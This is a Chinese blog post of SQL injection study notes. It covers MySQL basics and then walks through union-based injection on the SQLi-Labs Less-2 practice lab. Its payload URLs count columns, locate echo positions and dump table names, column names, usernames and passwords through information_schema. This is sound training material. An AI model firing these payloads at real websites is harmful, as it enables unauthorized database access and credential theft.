【筆記】從0開始的sql注入漏洞學習(持續更新直到完結)

死亡暗焰之羽發表於2024-07-19

【筆記】從0開始的sql注入漏洞學習

SQL資料庫操作基礎

第一部分:MYSQL(MariaDB)基礎操作

1.連線資料庫:

mysql -u root -p

-u 輸入登入使用者名稱

-p 輸入密碼(這個沒有密碼)

image-20240719163245111

2.顯示系統中所有資料庫的名稱

show databases;

image-20240719163608084

3.新建資料庫student

create database student;

使用以下命令檢視結果:

show databases;

image-20240719163750741

4.使用資料庫student

use student;

5.在資料庫student中建立表result

create table result(id int(8),name varchar(20),city varchar(20),score int(5));
id name city score

6.在表result中增加資料

insert into result(id,name,city,score) values(1,"wang","beijing",75);

insert into result(id,name,city,score) values(3,"li","shanghai",80);

insert into result(id,name,city,score) values(5,"chen","fuzhou",70);

insert into result(id,name,city,score) values(2,"zhou","xian",90);

insert into result(id,name,city,score) values(7,"han","guangzhou",65);

使用以下命令檢視結果:

select * from result;

image-20240719164920156

7.在表result中刪除1條資料

使用以下命令刪除id=7的資料

delete from result where id=7;

使用以下命令檢視結果

select * from result;

image-20240719165111274

8.修改表result中的1條資料

使用以下命令可以修改id=5的資料,將其score設定為60:

update result set score=60 where id=5;

使用以下命令檢視結果

select * from result;

image-20240719165312551

9.查詢表result中的資料

select * from result;
//查詢表中所有欄位
select name,score from result;
//查詢表中的name和score欄位
select score from result where name="li";
//查詢name為li的學生的分數

第二部分:MySQL(MariaDB)進階操作

1.order by的用法

(1)將result表中的資料按照分數(score)從高到低進行排序:

select * from result order by score desc;

其中,desc表示降序(遞減);如果從低到高(升序)進行排列,則可以將desc換成asc;如果不加此引數,預設情況下按升序方式排列。

image.png

(2)分別嘗試以下命令:

select id,name,score from result order by 1;

image.png

正常顯示以id升序排列的結果。

select id,name,score from result order by 2;

image.png

正常顯示以name升序排列的結果!

select id,name,score from result order by 3;

image.png

正常顯示以score升序排列的結果!

select id,name,score from result order by 4;

image.png

報錯!

從以上結果可以總結出,對於以下命令:

select c1,c2,...,cn from result order by M;

order by後面的數字(M)必須小於或等於n(資料庫查詢的欄位數),才能正常顯示。如果M>n,資料庫就會報錯。可以利用這個特點判斷資料庫查詢的欄位數。

2.limit的用法

基本格式為:

limit M,N
//表示從第M+1條資料開始,順序往下查詢N條資料

limit M
//表示查詢前M條資料

嘗試執行以下兩條命令:

select * from result limit 0,2;
//查詢表中的前2條資料

image.png

select id,name,score from result limit 1,3;
//從第2條資料起,往下查詢3條資料的id、name和score欄位

image.png

3.union select的用法

select * from result union select 1,2,3,4;

此語句的查詢結果,即是select * from result和select 1,2,3,4查詢結果的拼接,名為聯合查詢。

image.png

(2)嘗試執行以下3條語句:

select id,name,score from result union select 1,2,3;

image.png

正常顯示!

select id,name,score from result union select 1,2;

image.png

列數不一致,於是報錯!

select id,name,score from result union select 1,2,3,4;

image.png

列數不一致,報錯!

從以上結果可以總結,對於以下命令:

select c1,c2,...,cn from result union select d1,d2,...dm;

後半句union select查詢的欄位數(m)必須與前半句select查詢的欄位數(n)相等,資料庫才能正常顯示結果。與order by相似,可以利用這個特點判斷資料庫查詢的欄位數。

(3)嘗試執行下列語句

select id,city from result where id=1 and 1=2 union select name,score from result;

image.png

從以上結果可以總結,在已知欄位名的情況下,攻擊者只要將該欄位置於任何能夠顯示的位置,就可以暴露該欄位的值。

4.union select結合information_schema資料庫

MySQL(MariaDB)5.5以上版本自帶information_schema資料庫,其中儲存著關於MySQL伺服器所維護的所有其他資料庫的資訊,如資料庫名、資料庫的表、表欄的資料型別與訪問許可權等。可以把information_schema資料庫看作MySQL(MariaDB)的“目錄”!

(1)嘗試執行以下兩條語句:

show databases;

select schema_name from information_schema.schemata;  

image.png

兩條語句執行結果相同,說明information_schema資料庫儲存著關於MySQL伺服器所維護的資料庫名的資訊。

(2)嘗試執行以下兩組語句:

第一組:

use student;

show tables;

第二組:

select table_name from information_schema.tables where table_schema='student';

image.png

兩組命令執行結果相同,說明information_schema資料庫儲存著關於MySQL伺服器所維護的資料庫的表的資訊!

基於聯合查詢的數字型GET注入

1.訪問SQLi-Labs網站

搭建好靶場後(或者使用線上靶場)我們進入sqli-labs:

image-20240719190137364

進入less-2

image-20240719190228731

根據提示,我們使用GET請求上傳引數“id”,當id=1時,頁面顯示id=1的使用者名稱Dump、密碼Dump:

image-20240719190335362

2.尋找注入點

http://[靶機IP]/sqli-labs/Less-2/?id=1'

執行後報錯,說明我們可以利用引數“id”作為我們的注入點,接下來我們將測試注入型別:

http://[靶機IP]/sqli-labs/Less-2/?id=1 and 1=1

執行後正常顯示

http://[靶機IP]/sqli-labs/Less-2/?id=1 and 1=2

執行後沒有正常顯示,說明注入點是數字型注入點

3.判斷網站查詢的欄位數

http://[靶機IP]/sqli-labs/Less-2/?id=1 order by 1--+

正常顯示

http://[靶機IP]/sqli-labs/Less-2/?id=1 order by 2--+

正常顯示

http://[靶機IP]/sqli-labs/Less-2/?id=1 order by 3--+

正常顯示

http://[靶機IP]/sqli-labs/Less-2/?id=1 order by 4--+

報錯,因此可以判斷網站查詢的欄位數為3

4.判斷網站的回顯位置

http://[靶機IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,3--+

發現2,3的位置可以回顯:

image-20240719191446086

後面的步驟中,我們可以在2號位或3號位設定一些具有特殊功能的函式或命令來執行SQL隱碼攻擊!

5.獲取網站當前所在資料庫的庫名

http://[靶機IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,database()--+

image-20240719191657593

可以發現網站當前所在資料庫的庫名為“security”

6.獲取資料庫security的全部表名

http://[靶機IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

group_concat 將所有的查詢結果拼接成一個字串返回,不過在不同的欄位值之間預設用逗號隔開

image-20240719191907777

可以發現資料庫security內含有的表名有“emails”“referers”“uagents”“users”

7.獲取users表的全部欄位名

http://[靶機IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

image-20240719192236223

可以發現資料表users內含有的欄位有“id”“username”“password”

8.獲取users表id、username和password欄位的全部值。

http://[靶機IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1--+

concat_ws 返回結果為連線引數產生的字串並且有分隔符

image-20240719192838593

http://[靶機IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 1,1--+

image-20240719192935163

更改limit函式後的引數就可以依次檢視users表id、username和password欄位的全部值

相關文章